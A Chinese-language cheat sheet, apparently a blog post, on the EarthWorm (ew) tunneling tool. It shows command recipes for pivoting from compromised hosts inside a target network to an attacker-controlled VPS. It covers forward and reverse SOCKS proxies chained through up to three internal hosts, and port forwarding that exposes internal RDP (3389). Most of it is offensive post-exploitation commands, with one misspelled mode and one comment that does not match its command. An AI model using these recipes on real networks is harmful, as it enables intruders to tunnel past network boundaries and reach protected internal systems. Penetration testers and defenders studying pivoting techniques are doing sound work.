EW链路模式和参数
六种链路状态:
ssocksd 正向本地 socks代理
rssocks 反向 socks代理(server)
rcsocks 反向 socks代理(client)
lcx_slave 将远程主机的端口 与 另一台主机的端口建立转发关系
lcx_tran 将本地端口转发至远程主机
lcx_listen 本地端口转发,本地端口之间建立转发关系
参数信息:
-l 指定要监听的本地端口
-d 指定要反弹到的机器 ip
-e 指定要反弹到的机器端口
-f 指定要主动连接的机器 ip
-g 指定要主动连接的机器端口
-t 指定超时时长,默认为 1000
socks隧道
普通环境:
- 目标网络边界存在公网IP且可任意开监听端口:(正向代理)公网IP_A = 1.1.1.1 执行如下
1
2
3
4目标公网机器A
+---------+ +-------------------+
|HackTools| ->> | 8888 -> 1.1.1.1 |
+---------+ +-------------------+
1 | ./ew -s ssocksd -l 8888 // 在 1.1.1.1 主机上通过这个命令开启 8888 端口的 socks 代理 |
HackTools 可通过访问 1.1.1.1:8888 端口使用 1.1.1.1 主机提供的代理
2.目标网络边界不存在公网 IP(能出网),需要通过反弹方式创建 socks 代理:(反向代理)
1 | 自控公网VPS_IP 可控边界主机A |
VPS_IP = 1.1.1.1 执行如下
1 | ./ew -s rcsocks -l 1080 -e 8888 //在 1.1.1.1 的自控公网VPS主机上添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机 |
内网IP_A =2.2.2.2 执行如下
1 | ./ew -s rssocks -d 1.1.1.1 -e 8888 //将目标网络的可控边界主机A反向连接自控公网VPS主机的8888端口 |
HackTools 可通过访问 1.1.1.1:1080 端口使用 2.2.2.2 主机提供的 socks5 代理服务
对于二重网络环境:
1.获得目标网络内网两台主机 A、B 的权限,情况描述如下:
1 | 可控边界主机A 可访问指定资源的内网主机B |
A 主机: 存在公网 IP和内网IP,且自由监听任意端口,无法访问特定资源
B 主机: 目标网络内部主机,可访问特定资源,但无法访问公网
A 主机可直连 B 主机
内网IP_B =2.2.2.2 执行如下
1 | ./ew -s ssocksd -l 9999 // 在 2.2.2.2 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理 |
边界IP_A = 1.1.1.1 执行如下
1 | ./ew -s lcx_tran -l 1080 -f 2.2.2.2 -g 9999 // 将 1080 端口收到的 socks 代理请求转交给 2.2.2.2 的主机。 |
HackTools 可通过访问 1.1.1.1:1080 来使用 2.2.2.2 主机提供的 socks5 代理。
2.获得目标网络内两台主机 A、B 的权限,情况描述如下:
1 | 自控公网VPS_IP 可控边界主机A 可访问指定资源的主机B |
A 主机: 目标网络的边界主机,无公网 IP,有内网IP(可出网),但无法访问特定资源。
B 主机: 目标网络内部主机,可访问特定资源,却无法回连公网
A 主机可直连 B 主机
VPS_IP= 1.1.1.1 执行如下
1 | ./ew -s lcx_listen -l 1080 -e 8888 // 在 1.1.1.1 公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机 |
边界IP_A= 2.2.2.2 执行如下
1 | ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 3.3.3.3 -g 9999 // 在 2.2.2.2 上,通过工具的 lcx_slave 方式,打通1.1.1.1:8888 和 3.3.3.3:9999 之间的通讯隧道 |
内网IP_B= 3.3.3.3 执行如下
1 | ./ew -s ssocksd -l 9999 // 在 3.3.3.3 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理 |
HackTools 可通过访问 1.1.1.1:1080 来使用 3.3.3.3 主机提供的 socks5 代理
对于三重网络环境
2.获得目标网络内两台主机 A、B 、C的权限,情况描述如下:
1 | 自控公网VPS_IP 可控边界主机A 可控内网主机B 可访问指定资源的主机C |
A 主机: 目标网络的边界主机,无公网 IP,有内网IP(可出网),但无法访问特定资源。
B 主机: 目标网络内部主机,不能访问外网,但可被A主机访问。
C 主机: 目标网络内部主机,不能访问外网,可访问核心区域,可被B主机访问。
VPS_IP= 1.1.1.1 执行如下
1 | ./ew -s rcsocks -l 1080 -e 7777 // 在 1.1.1.1 公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 7777 端口的主机 |
边界IP_A= 2.2.2.2 执行如下
1 | ./ew -s lcx_slave -d 1.1.1.1 -e 7777 -f 3.3.3.3 -g 8888 // 在 2.2.2.2 上,通过工具的 lcx_slave 方式,打通1.1.1.1:8888 和 3.3.3.3:9999 之间的通讯隧道 |
内网IP_B= 3.3.3.3 执行如下
1 | ./ew -s lcx_listen -l 8888 -e 9999 // 在 3.3.3.3 上将8888收到的代理请求转发给9999端口 |
内网IP_C= 4.4.4.4 执行如下
1 | ./ew -s rscoscks -d 3.3.3.3 -e 9999 // 在 4.4.4.4上启动socks服务,并反弹到B主机的9999端口 |
HackTools 可通过访问 1.1.1.1:1080 来使用 4.4.4.4 主机提供的 socks5 代理
socks代理工具
windows:SocksCap64
linux:ProxyChains
端口转发
正向转发:
拥有公网IP和内网IP的双网卡边界主机A和内网主机B=1.1.1.1在同一个内网
边界主机A 执行如下
1 | ./ew -s lcx_tran -l 33890 -f 1.1.1.1 -g 3389 |
连接A的33890端口即可连接内网B的3389
反向转发:
自控VPS_IP=1.1.1.1 执行如下
1 | ./ew -s lcx_listen -l 3380 -e 33890 |
可出网边界主机B=2.2.2.2 执行如下,内网不出网机器C=3.3.3.3
1 | ./ew -s lcx_slave -d 1.1.1.1 -e 33890 -f 3.3.3.3 -g 3389 |
连接自控VPS_IP主机的3380端口即可访问C机器的3389
值得注意的问题:
如上环境和命令,区别为可出网边界主机B=2.2.2.2为本地win10,内网不出网机器C=3.3.3.3为虚拟机win7
发现不能通过自控VPS_IP主机的3380端口连接win7的3389,疑似为win7在虚拟机中登录后占用了“本地”“连接”“本地远程桌面”的会话(单用户模式?)